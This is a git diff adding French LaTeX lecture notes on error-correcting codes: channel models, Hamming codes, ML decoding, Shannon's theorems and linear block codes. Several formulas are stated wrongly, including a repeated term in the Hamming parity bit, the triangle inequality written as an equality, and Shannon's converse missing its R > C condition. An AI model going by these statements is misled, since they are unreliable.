m gs 1 -1 sc sh gr +/Helvetica-latin1 ff 0.560000 scf sf +(0 ) dup sw 5.000000 ex sub 14.428750 m gs 1 -1 sc sh gr +showpage diff --git a/CodesCorrecteurs/cbse.png b/CodesCorrecteurs/cbse.png new file mode 100755 index 0000000..55adc1a Binary files /dev/null and b/CodesCorrecteurs/cbse.png differ diff --git a/CodesCorrecteurs/cc.tex b/CodesCorrecteurs/cc.tex new file mode 100755 index 0000000..9be6597 --- /dev/null +++ b/CodesCorrecteurs/cc.tex @@ -0,0 +1,2058 @@ +\documentclass[a4paper,10pt,twocolumn]{article} + +% To include images +\usepackage{graphicx} + +% Change the margins of the document +\usepackage[top=1cm,bottom=2cm,left=1cm,right=1cm]{geometry} + +% No indentation but a wider space between the paragraphs +\setlength{\parindent}{0cm} +\setlength{\parskip}{2mm} + +% Add a rule between the two columns and enlarge the space +\setlength{\columnseprule}{.5pt} +\setlength{\columnsep}{1cm} + +% French language +\usepackage[francais]{babel} +\usepackage[utf8]{inputenc} + +% Math extensions +\usepackage{amsfonts} +\usepackage{amstext} +\usepackage{amsmath} +\usepackage{mathbbol} + +% Customize theorems +\usepackage{theorem} +\theoremstyle{break} + +% Some useful shortcuts +\newcommand{\code}[1]{\mathcal{#1}} +\newcommand{\C}{\code{C}} +\newcommand{\syn}[1]{\mathop{\rm{syn}}(#1)} +\newcommand{\dimc}[1]{\mathop{\rm{dim}}(#1)} +\newcommand{\F}{\mathbb{F}} +\newcommand{\Poly}{\mathbb{P}} +\newcommand{\FF}{\F_2} +\newcommand{\FFn}[1]{\FF^{#1}} +\newcommand{\Zn}[1]{\mathbb{Z}_{#1}} +\newcommand{\Zp}{\Zn{p}} +\newcommand{\dg}[1]{\mathrm{d}^\circ(#1)} +\newcommand{\cy}[1]{{<}#1{>}} + +% Definition of new environments +\newtheorem{mydef}{Définition} +\newtheorem{myprop}{Proposition} +\newtheorem{myth}{Théorème} +\newtheorem{mylemma}{Lemme} +\newtheorem{mycor}{Corolaire} + +\newenvironment{note}[1] +{\textbf{#1}:} +{} + +\newenvironment{mydem} +{\begin{note}{Démonstration}} +{\end{note}} + +\newenvironment{myproof} +{\begin{note}{Preuve}} +{\end{note}} + +\newenvironment{remarque} +{\begin{note}{Remarque}} +{\end{note}} + +\newenvironment{proprietes} +{\begin{note}{Propriétés}} +{\end{note}} + +\newenvironment{exemple} +{\begin{note}{Exemple}} +{\end{note}} + +% Metadata +\title{Codes correcteurs d'erreur} +\author{Nicolas MASSE \\ \texttt{nicolas27.masse@laposte.net}} + +\begin{document} + +\maketitle + +\begin{abstract} + Ce document rassemble mes notes et mes travaux personnels relatifs aux cours de codes correcteurs d'erreur de M.~\textsc{Otmani} à l'ENSICAEN. +\end{abstract} + +\tableofcontents +\clearpage + +\section{Contexte} +\textbf{Objectif:} Convoyer à partir de la source vers le récepteur à travers un médium physique (le canal) de l'information de manière fiable. + +\includegraphics[width=\linewidth]{general1} + +\textbf{2 situations:} +\begin{enumerate} + \item information transmise d'un point à un autre dans l'espace + \item information transmise d'un point à un autre dans le temps +\end{enumerate} + +\section{Décomposition d'un système de communication} +Shannon a montré en 1948 que la communication point à point peut être décomposée de la manière suivante. + +\includegraphics[width=\linewidth]{general2} + +\subsection{Codage de source} +Il comprend: +\begin{itemize} + \item échantillonnage + \item quantification + \item compression +\end{itemize} +Ce mécanisme a pour but de représenter sous forme linéaire le signal de manière efficace et fidèle. + +\subsection{Codage de canal} +Ajouter de la redondance afin de lutter contre les perturbations dues au canal. +Le codage de canal prend en entrée $k$ symboles binaires et donne $n$ symboles binaires, avec $n > k$ + +\section{Théorie des codes} +Le but de la théorie des codes est de concevoir des systèmes d'encodage et de décodage efficaces: +\begin{itemize} + \item nombre d'opérations acceptable + \item capacité de détection + \item capacité de correction +\end{itemize} + +\section{Quelques codes} +\subsection{Forward error correction (FEC)} +On ajoute de la redondance pour corriger, il n'y a pas de retransmission. ($ \ne $ checksum) + +\subsection{Automatic Repeat-request (ARQ)} +Lorsqu'une erreur est détectée, on demande la retransmission de l'information erronée. +\begin{itemize} + \item Stop and Wait + \item Go back N + \item Selective Repeat ARQ +\end{itemize} + +\subsection{Code de Hamming} +On considère des messages de 4 bits et on ajoute 3 bits de redondance. C'est-à-dire qu'on émet $m_1 m_2 m_3 m_4 p_1 p_2 p_3$, avec: +\begin{eqnarray*} +p_1 & = & m_1 \oplus m_3 \oplus m_3 \\ +p_2 & = & m_1 \oplus m_2 \oplus m_4 \\ +p_3 & = & m_1 \oplus m_3 \oplus m_4 +\end{eqnarray*} + +Le décodeur reçoit: $m_1' m_2' m_3' m_4' p_1' p_2' p_3'$ et calcule: +$$ \left(\begin{array}{c} + S_1\\ + S_2\\ + S_3 +\end{array}\right) $$ +avec: +$$\left\lbrace +\begin{array}{c} +S_1 = p_1' \oplus m_1' \oplus m_3' \oplus m_3' \\ +S_2 = p_2' \oplus m_1' \oplus m_2' \oplus m_4' \\ +S_3 = p_3' \oplus m_1' \oplus m_3' \oplus m_4' +\end{array}\right.$$ + +Si la transmission est sans erreur, alors: +$$ \left(\begin{array}{c} + S_1\\ + S_2\\ + S_3 +\end{array}\right) = + \left(\begin{array}{c} + 0\\ + 0\\ + 0 +\end{array}\right) $$ + +S'il y a une erreur: + +\begin{itemize} + \item Si $m_1$ est faux + $$ \left(\begin{array}{c} + S_1\\ + S_2\\ + S_3 +\end{array}\right) = + \left(\begin{array}{c} + 1\\ + 1\\ + 1 +\end{array}\right) $$ + \item Si $m_2$ est faux + $$ \left(\begin{array}{c} + S_1\\ + S_2\\ + S_3 +\end{array}\right) = + \left(\begin{array}{c} + 1\\ + 1\\ + 0 +\end{array}\right) $$ + \item Si $m_3$ est faux + $$ \left(\begin{array}{c} + S_1\\ + S_2\\ + S_3 +\end{array}\right) = + \left(\begin{array}{c} + 1\\ + 0\\ + 1 +\end{array}\right) $$ + \item Si $m_4$ est faux + $$ \left(\begin{array}{c} + S_1\\ + S_2\\ + S_3 +\end{array}\right) = + \left(\begin{array}{c} + 0\\ + 1\\ + 1 +\end{array}\right) $$ + \item Si $p_1$ est faux + $$ \left(\begin{array}{c} + S_1\\ + S_2\\ + S_3 +\end{array}\right) = + \left(\begin{array}{c} + 1\\ + 0\\ + 0 +\end{array}\right) $$ + \item Si $p_2$ est faux + $$ \left(\begin{array}{c} + S_1\\ + S_2\\ + S_3 +\end{array}\right) = + \left(\begin{array}{c} + 0\\ + 1\\ + 0 +\end{array}\right) $$ + \item Si $p_3$ est faux + $$ \left(\begin{array}{c} + S_1\\ + S_2\\ + S_3 +\end{array}\right) = + \left(\begin{array}{c} + 0\\ + 0\\ + 1 +\end{array}\right) $$ + +\end{itemize} + +\textbf{Conclusion:} On peux corriger une erreur et en détecter deux. + +\section{Encodeur-décodeur de canal} +L'encodeur traite les bits du message d'info par bloc de $k$ bits pour générer $n$ symboles binaires. + +\begin{mydef} + Le rendement d'un code est $ R = \frac{k}{n} $. +\end{mydef} + +Après encodage, chaque symbole $C_i$ \flqq porte\frqq $R$ bits d'information. +À l'inverse, pour retrouver un bit d'information, il faut $\frac{1}{R}$ bits. +Plus le rendement est faible, plus le nombre de bits pour reconstituer le message est important. + +L'encodage doit être réversible, c'est-à-dire que: +$$ f: \{\text{Ensemble des messages d'information}\} \rightarrow \FFn{2} $$ +et que $f$ est injective. + +Le décodeur doit retrouver $\hat{C_1}, \ldots, \hat{C_n}$ qui est une estimation de $C_1, \ldots, C_n$ à partir de: +\begin{itemize} + \item $C'_1, \ldots, C'_n$ + \item modèle de canal choisi + \item encodeur de canal choisi +\end{itemize} + +En sortie, on retrouve $(\hat{m_1}$, ..., $\hat{m_n})$ en inversant la fonction d'encodage $f$. + +Quand $(\hat{m_1}, \ldots, \hat{m_k}) \ne (m_1, \ldots, m_k)$, le décodeur a commis une erreur. + +En résumé, un codeur efficace a: +\begin{itemize} + \item un rendement proche de 1 + \item une complexité faible +\end{itemize} + +et un décodeur efficace a: +\begin{itemize} + \item la complexité la plus faible possible + \item la probabilité d'erreur la plus faible possible +\end{itemize} + +\section{Modèle de canal} +\begin{mydef} + Un canal est la donnée, + \begin{itemize} + \item $X$, alphabet d'entrée; + \item $Y$, alphabet de sortie; + \item pour tout $x \in X$, $y \in Y$, la probabilité conditionnelle $P(x/y)$, appelée probabilité de transition entre $x$ et $y$. + \end{itemize} + +\end{mydef} + +\begin{mydef} + Un canal est dit discret quand $X$ et $Y$ sont des ensembles finis. +\end{mydef} + +On construit la matrice stochastique $\mathcal{P}$, avec $ \mathcal{P} = (P_{ij}) $ et $P_{ij} = P(y_j/x_i)$. + +\begin{mydef} + Un canal est dit sans mémoire quand les probabilités sont indépendantes. +\end{mydef} + +\subsection{Canal binaire symétrique à effacement} +Ce type de canal modélise les situations où certains symboles sont perdus. +Dans un tel canal, soit le symbole est transmis tel quel, soit il est effacé avec une probabilité $p$. + +Pour construire la matrice stochastique de ce canal, on dresse le tableau des probabilités de transition. +\begin{center} +\begin{tabular}{|c|ccc|} + \hline + $P(y_j/x_i)$ & 0 & 1 & $\star$ \\ + \hline + 0 & $1-p$ & 0 & $p$ \\ + 1 & 0 & $1-p$ & $p$ \\ + \hline +\end{tabular} +\end{center} + +et on obtient la matrice $\mathcal{P}$ + +$$ \mathcal{P} = \begin{pmatrix} + 1-p & 0 & p\\ + 0 & 1-p & p\\ +\end{pmatrix}$$ + +\begin{center} +\includegraphics[width=0.5\linewidth]{cbse} +\end{center} + +\subsection{Canal binaire symétrique (CBS)} + +$$X = Y = \lbrace 0, 1 \rbrace $$ + +$$ \mathcal{P} = \left( +\begin{array}{cc} + 1-p & p\\ + p & 1-p\\ +\end{array} +\right)$$ + +\begin{center} +\includegraphics[width=0.5\linewidth]{cbs} +\end{center} + +\textbf{Note:} $0 \le p \le \frac{1}{2}$ + +\subsection{Quelques remarques} +$$ 1 \oplus \star = \star \oplus 1 = \star$$ +$$ 0 \oplus \star = \star \oplus 0 = \star$$ + +\textbf{Pour le CBSE}, on a +$ y = x \oplus e $, avec +$$ e = \left\lbrace +\begin{array}{cc} + 0 {\ avec\ } P(e=0) = & 1 - p\\ + \star {\ avec\ } P(e=\star) = & p +\end{array}\right.$$ + +\textbf{Pour le CBS}, on a +$ y = x \oplus e $, avec +$$ e = \left\lbrace +\begin{array}{cc} + 0 {\ avec\ } P(e=0) = & 1 - p\\ + 1 {\ avec\ } P(e=1) = & p +\end{array}\right.$$ + + +\textbf{Un canal important:} le canal gaussien. Il est défini par $X = \lbrace 0,1 \rbrace, Y = \mathbb{R}$. + + +\section{Les codes en bloc} +\subsection{Types d'encodage} +\subsubsection{Encodage en bloc} + +$$ +\begin{array}{ccc} + \lbrack m_1 \ldots m_k] & \lbrack m_{k+1} \ldots m_{2k}] & \lbrack m_{2k+1} \ldots m_{3k}]\\ + \downarrow f & \downarrow f & \downarrow f \\ + \lbrack c_1 \ldots c_k] & \lbrack c_{k+1} \ldots c_{2k}] & \lbrack c_{2k+1} \ldots c_{3k}] +\end{array} +$$ + +Il traite les symboles d'information de manière séparée. + +\subsubsection{Encodage convolutif} +Dans ce type d'encodage, on utilise des bits d'information précédents pour encoder les bits d'information suivants. + +$$ +\left(\begin{array}{c} + c_1^{(t)}\\ + \vdots \\ + c_n^{(t)} +\end{array}\right) += f \left( +\left(\begin{array}{c} + m_1^{(t)}\\ + \vdots \\ + m_k^{(t)} +\end{array}\right) +, \ldots, +\left(\begin{array}{c} + m_1^{(t-m)}\\ + \vdots \\ + m_k^{(t-m)} +\end{array}\right) +\right) +$$ + +\begin{remarque} + on utilise la logique booléenne et $2 \le m \le 6$. +\end{remarque} + +\subsubsection{Définitions} +\begin{mydef} +Un code en bloc $\mathcal{C}$ binaire de longueur $n$ et de taille $m$ est un sous-ensemble de $\mathbb{F}_2^n$ de cardinal $m$. +Son rendement $R$ vaut: +$$ R = \frac{\log_2 m}{n} $$ +\end{mydef} + +\textbf{Exemples:} +\begin{itemize} + \item Code à répétition $R_n$ de longueur $n$. On a $R_n = {000 \ldots 0, 111 \ldots 1}$, $m = 2$ quelque soit $n$, $k = 1$, et $R=\frac{1}{n}$. + \item Code de parité $P_n$ de longueur $n$. On a $P_n = \lbrace (x_1 \ldots x_n) \in \mathbb{F}_2^n / x_n = x_1 \oplus \ldots \oplus x_{n-1} \rbrace$, $m = 2^{n-1}$, $k = n - 1$, et $R = \frac{n-1}{n}$. +\end{itemize} + +\begin{mydef} +Étant donné un message d'information $(m_1 \ldots m_k)$ avec $m_i \in \mathbb{F}_2$, un encodage en bloc consiste en la donnée d'un code en bloc $\mathcal{C}$ de longueur $n \ge k$ et d'une fonction d'encodage injective $f$ qui à $(m_1 \ldots m_k)$ associe $(c_1 \ldots c_n) \in \mathcal{C}$ + +$$ f: \begin{array}{|l} + \mathbb{F}_2^k \rightarrow \mathbb{F}_2^n\\ + (m_1 \ldots m_k) \rightarrow (c_1 \ldots c_n) \in \mathcal{C} +\end{array}$$ + +On a alors, $m = 2^k$ +\end{mydef} + +\begin{remarque} + en encodage systématique, $(m_1 \ldots m_k) \rightarrow (c_1 \ldots c_k \ldots c_n)$ avec $(m_1 \ldots m_k) = (c_1 \ldots c_k)$. +\end{remarque} + +\subsection{Décodage} +L'objectif est double: +\begin{itemize} + \item détecter les erreurs quand elles surviennent + \item corriger les erreurs +\end{itemize} + +\subsubsection{Détection} +Cela consiste à vérifier que le mot reçu en sortie du canal $(c'_1 \ldots c'_n)$ appartient au code choisi. + +\begin{remarque} + il peut arriver que les perturbations du canal transforment un mot du code en un autre mot du code, cette erreur est indétectable. +\end{remarque} + +\subsubsection{Correction} +\begin{mydef} + Un algo de décodage $\gamma$ d'un code $\mathcal{C}$ de longueur $n$ est une application +$$ \gamma: \mathbb{F}_2^n \rightarrow \mathcal{C} \cup \lbrace \infty \rbrace$$ +$$ c' = (c'_1 \ldots c'_n) \mapsto \gamma(c')$$ +avec $\gamma(c) = c, \forall c \in \mathcal{C}$ où $\gamma(c') = \infty$ signifie que $\gamma$ ne prend pas de décision. +\end{mydef} + +\begin{remarque} + si on ne prend pas $\infty$, on dit que $\gamma$ effectue un décodage complet. +\end{remarque} + +\begin{mydef} + La probabilité d'erreur de $\gamma$ noté $P_e$ est définie par: + $$ P_e = \mathop{\rm max}_{c \in \mathcal{C}} P_e(c) $$ + avec + $$P_e(c) = \sum_{y \in \mathbb{F}_2^n} P(y_{\rm{\acute{e}mis}} / c_{\rm{recu}})$$ + tel que $ \gamma(y) \ne y_{\rm{\acute{e}mis}}$ +\end{mydef} + +\begin{remarque} +\begin{enumerate} + \item le but est d'avoir $P_e$ faible; + \item il est nécessaire de définir des critères pour choisir $\gamma(c')$ en fonction de $c'$. +\end{enumerate} +\end{remarque} + +\begin{mydef} + Maximum A Posteriori (MAP) decoding: on recherche $\gamma(c')$ tel que $P(\gamma(c') / c'_{\rm{recu}})$ soit maximal dans $\mathcal{C}$. + $$ \forall c \in \mathcal{C}, P(c/c'_{\rm{recu}}) \le P(\gamma(c') / c'_{\rm{recu}}) $$ +\end{mydef} + +\begin{mydef} + Maximum Likehood (ML) decoding: on recherche $\gamma(c')$ tel que $P(c'_{\rm{recu}} / \gamma(c'))$ soit maximal. + $$ \forall c \in \mathcal{C}, P(c'_{\rm{recu}}) \le P(c'_{\rm{recu}} / \gamma(c')) $$ +\end{mydef} + +\begin{myprop} + Quand la source est équiprobable, le ML-decoding et le MAP-decoding sont identiques. +\end{myprop} + +\begin{mydef} + Une source est équiprobable lorsque chaque séquence binaire $(m_1 \ldots m_k)$ a la même probabilité d'apparition, c'est-à-dire $\frac{1}{2^k}$. +\end{mydef} + +\begin{remarque} + un encodage de source de \flqq qualité\frqq vérifie cette propriété. +\end{remarque} + +\begin{myproof} + on se donne $c'_{\rm{recu}}$ et soit $x \in \mathcal{C}$ +$$ P(x/c'_{\rm{recu}}) = \frac{P(c'_{\rm{recu}}/x)\times P(x)}{P(c'_{\rm{recu}})}$$ + +Comme la source est équiprobable, $p(x) = \frac{1}{\mid\mathcal{C}\mid}, \forall x \in \mathcal{C}$. +De plus, $P(c'_{\rm{recu}})$ dépend du canal choisi (et non de $x$). +Donc le maximum de $P(x/c'_{\rm{recu}})$ et de $P(c'_{\rm{recu}}/x)$ sont atteint au même point $\tilde{x}$. +\end{myproof} + +\textbf{Conclusion:} Soit $x \in \mathcal{C}$ émis et $y$ reçu, on a +$$P(y) = \sum_{x \in \mathcal{C}} P(y,x)$$ + +\begin{remarque} + on se placera toujours dans le cas d'une source équiprobable. +\end{remarque} + +Dans le cas d'un double encodage, on se donne deux codes $\mathcal{C}_1$ et $\mathcal{C}_2$. Pour le décodage on récupère $\mathcal{C}'_2$. +\begin{center} +\includegraphics[width=\linewidth]{double_codage} +\end{center} + +Le décodeur de $\mathcal{C}_2$ peut supposer que la source est équiprobable mais pas le décodeur de $\mathcal{C}_1$. +En pratique on choisit le ML-decoding car on peut montrer que ce critère minimise la probabilité d'erreur. +Dans le cas du double encodage le décodeur de $\mathcal{C}_2$ fait du ML-decoding et $\mathcal{C}_1$ fait du MAP-decoding. + +Le ML-decoding comme le MAP-decoding ne fournissent aucun moyen pratique pour trouver la solution. +La recherche exhaustive donne toujours la solution mais elle n'est applicable que pour des codes de taille inférieure à 1000 éléments. + +On aimerait mesurer l'écart entre deux vecteurs pour déterminer le \flqq bon choix\frqq au décodage. + +\begin{mydef} + Étant donné deux vecteurs $x,y \in \mathbb{F}_2^n$, la distance de Hamming entre $x$ et $y$ notée $d_H(x,y)$ est définie par: + $$ d_H(x,y) = \sharp\lbrace 1 \le i \le n / x_i \ne y_i \rbrace $$ + Le poids de Hamming de $x$ noté $wt(x)$ est: + $$ wt(x) = d_H(x,0) $$ +\end{mydef} + +\begin{remarque} +\begin{itemize} + \item $d_H(x,y) = d_H(y,x)$ + \item $d_H(x,z) = d_H(x,y) + d_H(y,z)$ + \item $d_H(x,y) = 0 \Leftrightarrow x = y$ +\end{itemize} +\end{remarque} + + +\begin{mydef} + Le problème du mot de code le plus proche d'un vecteur $y \in \mathbb{F}_2^n$ est, étant donné un code $\mathcal{C}$ de longueur $n$, la recherche d'un $\tilde{x} \in \mathcal{C}$ tel que $d_H(\tilde{x}, y)$ est minimale. +\end{mydef} + +\begin{myprop} + La recherche du mot de code le plus proche résoud le problème du ML-decoding. +\end{myprop} + +\begin{myproof} + $$ \forall r,x \in \mathbb{F}_2^n, p(r/x) = \prod_{i=1}^n P(r_i/x_i) $$ + On note $d = d_H(r,x)$ + $$p(r/x) = p^d(1-p)^{n-d} = (1-p)^n \left(\frac{p}{1-p}\right)^d$$ + Il s'agit à $r$ fixé de trouver $x$ tel que $P(r/x)$ soit maximale. + $$d \rightarrow \left(\frac{p}{1-p}\right)^d = e^{d\times\ln(\frac{p}{1-p})} $$ + comme $0 < p \le \frac{1}{2}$, on a + $$p \le 1 - p \Leftrightarrow \frac{1}{1-p} \le 1 $$ +\end{myproof} + +\subsection{Gain de codage} +On cherche à déterminer l'efficacité de l'encodeur et du décodeur. On définit la notion de gain de codage qui donne la différence entre la probabilité d'erreur du canal $P_c$ et la probabilité d'erreur du décodeur $P_e$. Quand $P_e < P_c$, on dit qu'il y a gain de codage. + +\textbf{Exemple:} soit $\mathcal{R}_3$ le code à répétition sur $\mathbb{F}_2$. +$$ \mathcal{R}_3 = \lbrace 000, 111 \rbrace $$ +Sur CBS de probabilité d'erreur $p$, je définis le décodage $\mathcal{D}$ suivant. +$$ 111 = \mathcal{D}(111), \mathcal{D}(101), \mathcal{D}(011), \mathcal{D}(110) $$ +$$ 000 = \mathcal{D}(000), \mathcal{D}(100), \mathcal{D}(010), \mathcal{D}(001) $$ +$\mathcal{D}$ réalise le ML-decoding. +$$ P_c = \rm{max}\lbrace P_c(000), P_c(111) \rbrace $$ +\begin{eqnarray*} + P_c(000) & = & P(111/000) + P(110/000) + P(101/000) \\ + & & + P(011/000)\\ + & = & p^3 + 3p^2 (1-p) +\end{eqnarray*} + +$$ P_e < p = P_c $$ + +\textbf{Conclusion:} on a diminué la probabilité d'erreur mais au prix d'un rendement plus faible. + +\subsection{Théorèmes de Shannon} +Faits / questions : +\begin{itemize} + \item Si on fait tendre le rendement R vers 0, alors on peut décoder avec une probabilité d'erreur aussi faible que l'on veut (penser aux codes à répétition). + \item Si on fixe un rendement R, peut-on faire tendre la probabilité d'erreur vers 0 (quitte à allonger la taille du code) ? + \item Existe-t-il un rendement maximum ($R_{max}$) pour lequel la probabilité d'erreur tend vers 0 ? +\end{itemize} + +\begin{myth} + Tout canal a une capacité $0 < c \le 1$ et pour tout rendement $R \le c$, il existe des codes de rendement $R$ qui, à l'aide du décodage à maximum de vraisemblance permettent d'atteindre des probabilités d'erreur (après décodage) arbitrairement petites. +\end{myth} + +\textbf{Exemple:} capacité du CBS de probabilité $p \le \frac{1}{2}$ +\begin{eqnarray*} + c(p) & = & 1 + p \log_2 p + (1-p) \log_2 (1-p) \\ + & = & 1 - h_2(p) +\end{eqnarray*} + +où $h_2$ est la fonction entropique. + +\begin{remarque} +pour le canal à effacement, la capacité vaut $1-p$ ($p$: probabilité d'effacement). +\end{remarque} + +\begin{myth} + Pour tout canal de capacité $C$ et $R$ son rendement, il n'existe pas de code en bloc $(\mathcal{C}_n)_{n \in \mathbb{N}}$ tel que $\mathcal{C}_n$ est de rendement $R$ et de longueur $n$ et tel que la probabilité d'erreur $P_e(\mathcal{C}_n)$ tende vers 0 quand $n \rightarrow \infty$. +\end{myth} + +\section{Codes en bloc linéaires} +\subsection{Matrice génératrice} +\begin{mydef} + Un code linéaire $\mathcal{C}$ sur $\mathbb{F}_2$ de longueur $n$ est linéaire si la somme de deux mots de code est un mot de code. + $$ \forall x,y \in \mathcal{C}, x \oplus y \in \mathcal{C} $$ +\end{mydef} + +\begin{myprop} + $\mathcal{C}$ est lineaire si et seulement si $\mathcal{C}$ est un $\mathbb{F}_2$ sous-espace vectoriel de $\mathbb{F}_2^n$. + \begin{center} + $ (\mathbb{F}_2^{n}, +) \quad x \in \mathbb{F}_2^n, y \in \mathbb{F}_2^n \quad x+y=z $ où $z_i = x_i + y_i $ + \end{center} +\end{myprop} + +La loi externe est l'ensemble des scalaires $(\mathbb{F}_2 = \lbrace 0, 1, +, \times \rbrace)$ qui est un corps. + +$$ +\begin{array}{l} + \forall b \in \mathbb{F}_2 \\ + \forall x \in \mathbb{F}_2 +\end{array} \qquad +b \times x = +\begin{cases} + x & \text{si $b = 1$} \\ + 0 & \text{si $b = 0$} +\end{cases} +$$ + +La dimension du code $\mathcal{C}$ est le cardinal d'une base de $\mathcal{C}$. + +\begin{mydef} + Une matrice génératrice $G$ d'un code $\mathcal{C}$ de dimension $k$ de longueur $n$ est une matrice obtenue à partir d'une base de $\mathcal{C}$. + $$ G = \left.\left(\begin{array}{ccc} \leftarrow & n & \rightarrow \\ & & \\ & & \end{array}\right)\right\rbrace k $$ +\end{mydef} + +Une matrice génératrice est dite \flqq systématique\frqq si la matrice extraite à partir de $k$ premières colonnes donne la matrice identité. + +$$ G = \left\lbrack +\begin{array}{ccccc|} + 1 & & & & \\ + & \ddots & & 0 & \\ + & & \ddots & & \\ + & 0 & & \ddots & \\ + & & & & 1 \\ +\end{array} +\quad B \quad +\right\rbrack +$$ + +\begin{remarque} + un code admet plusieurs matrices génératrices. Si $G_1$ et $G_2$ sont deux matrices génératrices de $\mathcal{C}$, alors il existe $P$ tel que: +$$ G_1 = P \times G_2 $$ +Cependant, il n'existe qu'une seule matrice génératrice sous forme systématique. +\end{remarque} + +La méthode du pivot de Gauss permet d'obtenir une matrice sous forme systématique à partir d'une matrice génératrice quelconque (attention, on n'a pas le droit de permuter les colonnes). + +\textbf{Exemples:} +\begin{itemize} + \item Code à répétition + $$ G = (1 \ldots 1) $$ + \item Code de parité + $$ G = \left( +\begin{array}{cccccc} + 1 & & & & & 1 \\ + & \ddots & & 0 & & \vdots \\ + & & \ddots & & & \vdots \\ + & 0 & & \ddots & & \vdots \\ + & & & & 1 & 1\\ +\end{array} +\right)$$ + +\end{itemize} + +\subsection{Encodage avec un code linéaire} +Si $m$ est le message à encoder alors le mot de code $c$ associé est +$$c = m \times G$$ + +\begin{remarque} + quand $G$ est systématique, $m_i = c_i$ pour $1 \le i \le k$. +\end{remarque} + +\subsection{Produit vectoriel et orthogonalité} + +\begin{mydef} + On définit le produit scalaire, souvent noté $\star$. + $$ \forall x \in \mathbb{F}_2^n, \forall y \in \mathbb{F}_2^n, \quad x \star y = x_1y_1 + \ldots + x_ny_n $$ +\end{mydef} + +\textbf{Propriétés:} +\begin{itemize} + \item $x \star y \in \mathbb{F}_2^n$ + \item $x \mapsto x \star y$ à $y$ fixé dans $\mathbb{F}_2^n$ est une application linéaire. + \item $x \star y = y \star x$ +\end{itemize} + +\begin{mydef} + Soit $E$ une partie non vide de $\mathbb{F}_2^n$. On note $E^\bot = \lbrace y \in \mathbb{F}_2^n / \forall x \in E, x \star y = 0 \rbrace$. + $E^\bot$ est l'orthogonal de $E$. +\end{mydef} + +\begin{remarque} + $E^\bot$ est toujours un sous-espace vectoriel de $\mathbb{F}_2^n$. +\end{remarque} + + +\subsection{Code dual et matrice de parité} +\begin{mydef} + Soit $\mathcal{C}$ un code linéaire de longueur $n$, le dual de $\mathcal{C}$ est $\mathcal{C}^\bot$. + Une matrice génératrice $H$ de $\mathcal{C}^\bot$ est appelée matrice de parité de $\mathcal{C}$. +\end{mydef} + +\begin{itemize} + \item ${\rm dim}(\mathcal{C}) + {\rm dim}(\mathcal{C}^\bot) = n$ + \item $\forall c \in \mathcal{C}, H.c^\top = \left(\begin{array}{c} 0 \\ \vdots \\ 0 \end{array}\right) $ + \item $(\mathcal{C}^\bot)^\bot = \mathcal{C}$ + \item Si $G = (I_k \mid M)$ est une matrice génératrice de $\mathcal{C}$ alors $(M^\top \mid I_{n-k})$ est une matrice de parité pour $\mathcal{C}$. +\end{itemize} + +\subsection{Codes de Hamming} + +\subsubsection{Les \flqq premiers\frqq} +On construit un code de longueur $(t+1)^2$ et de dimension $t^2$. $m_{ij}$ est un symbole d'information. +$$ \left( +\begin{array}{cccc} + m_{1,1} & \ldots & m_{1,t} & l_1 \\ + \vdots & \ddots & \vdots & \vdots \\ + m_{t,1} & \ldots & m_{t,t} & l_t \\ + c_1 & \ldots & c_t & e \\ +\end{array} +\right), +\left\lbrace +\begin{array}{l} + l_i = m_{i,1} \oplus \ldots \oplus m_{i,t} \\ + c_j = m_{1,j} \oplus \ldots \oplus m_{t,j} \\ + e = \sum_{i,j} m_{i,j} +\end{array} +\right. +$$ + +Son rendement $R$ vaut: +$$R = \left(\frac{t}{t+1}\right)^2$$ + +Ce code corrige tout motif d'erreur lorsqu'une erreur apparait une seule fois sur chaque ligne et chaque colonne. + +\subsubsection{Les \flqq vrais\frqq, $m \ge 1$} + +On considère la matrice $H_m$ telle que chaque colonne est la décomposition binaire d'un entier non-nul $< 2^m$. + +Par exemple, pour $m = 3$. +$$ +H_3 = +\begin{array}{c} +\begin{array}{ccccccc} +1 & 2 & 3 & 4 & 5 & 6 & 7 \\ +\end{array}\\ +\left( +\begin{array}{ccccccc} + 1 & 0 & 1 & 0 & 1 & 0 & 1 \\ + 0 & 1 & 1 & 0 & 0 & 1 & 1 \\ + 0 & 0 & 0 & 1 & 1 & 1 & 1 +\end{array} +\right) +\end{array} +$$ + +Donc $H_m$ est de taille $m \times (2^m - 1)$. + +\begin{mydef} + Soit le code de Hamming $\mathcal{H}$ de longueur $2^m-1$ et de matrice de parité $H_m$. + $$\rm{dim}(\mathcal{H}_m) = (2^m - 1) - m$$ +\end{mydef} + +\subsection{Détection et correction d'erreurs} +\begin{myprop} + Soit $\mathcal{C}$ un code linéaire, alors la distance minimale de $\mathcal{C}$ notée $d(\mathcal{C})$ vérifie: + $$ d(\mathcal{C}) = \rm{Min} \lbrace wt(x) \ |\ x \in \mathcal{C} - \lbrace 0 \rbrace \rbrace$$ +\end{myprop} + +\begin{mydef} + $[n,k,d]$ représente les paramètres d'un code linéaire de longueur $n$, de dimension $k$ et de distance minimale $d$. +\end{mydef} + +\begin{myprop} + Soit $\mathcal{C}[n,k,d]$, alors: +\begin{itemize} + \item Sur un canal à effacements, $\mathcal{C}$ peut corriger jusqu'à $(d-1)$ effacements. + \item Sur un CBS, $\mathcal{C}$ peut détecter jusqu'à $(d-1)$ erreurs et corriger jusqu'à $\lfloor\frac{d-1}{2}\rfloor$ erreurs. +\end{itemize} +\end{myprop} + +\begin{mydef} + Étant donné un entier $t$, +\begin{itemize} + \item un code est dit \flqq t-détecteur\frqq s'il est capable de détecter jusqu'à $t$ erreurs (ou effacements); + \item un code est dit \flqq t-correcteur\frqq si pour tout mot de code $c_1$ et $c_2$ et pour tout motif d'erreur $e_1$ et $e_2$ + avec $wt(e_1) \le t$ et $wt(e_2) \le t$ alors $c_1 \oplus e_1 \ne c_2 \oplus e_2$. +\end{itemize} +\end{mydef} + +\begin{center} +\includegraphics[width=0.6\linewidth]{corr-detect} +\end{center} + +En partie, si $r$ est un mot de code de $\mathcal{C}$ +$$B(r,t) \wedge \mathcal{C} = \lbrace r \rbrace $$ + +\begin{mycor} +$\mathcal{C}[n,k,d]$ est $\lfloor \frac{d-1}{2} \rfloor$-correcteur. +$\lfloor \frac{d-1}{2} \rfloor$ est la capacité de correction. +\end{mycor} + +\begin{mylemma} + Soit $\mathcal{C}(n,k)$ et $H$ une matrice de parité de $\mathcal{C}$. + + $\mathcal{C}$ admet un mot de code de poids $j$ ssi il existe $j$ colonnes de $H$ linéairement dépendantes. +\end{mylemma} + +\begin{mydem} + $$\forall c \in \mathcal{C}, H.c^\top = \left. \left(\begin{array}{c} 0 \\ \vdots \\ 0 \end{array}\right) \right 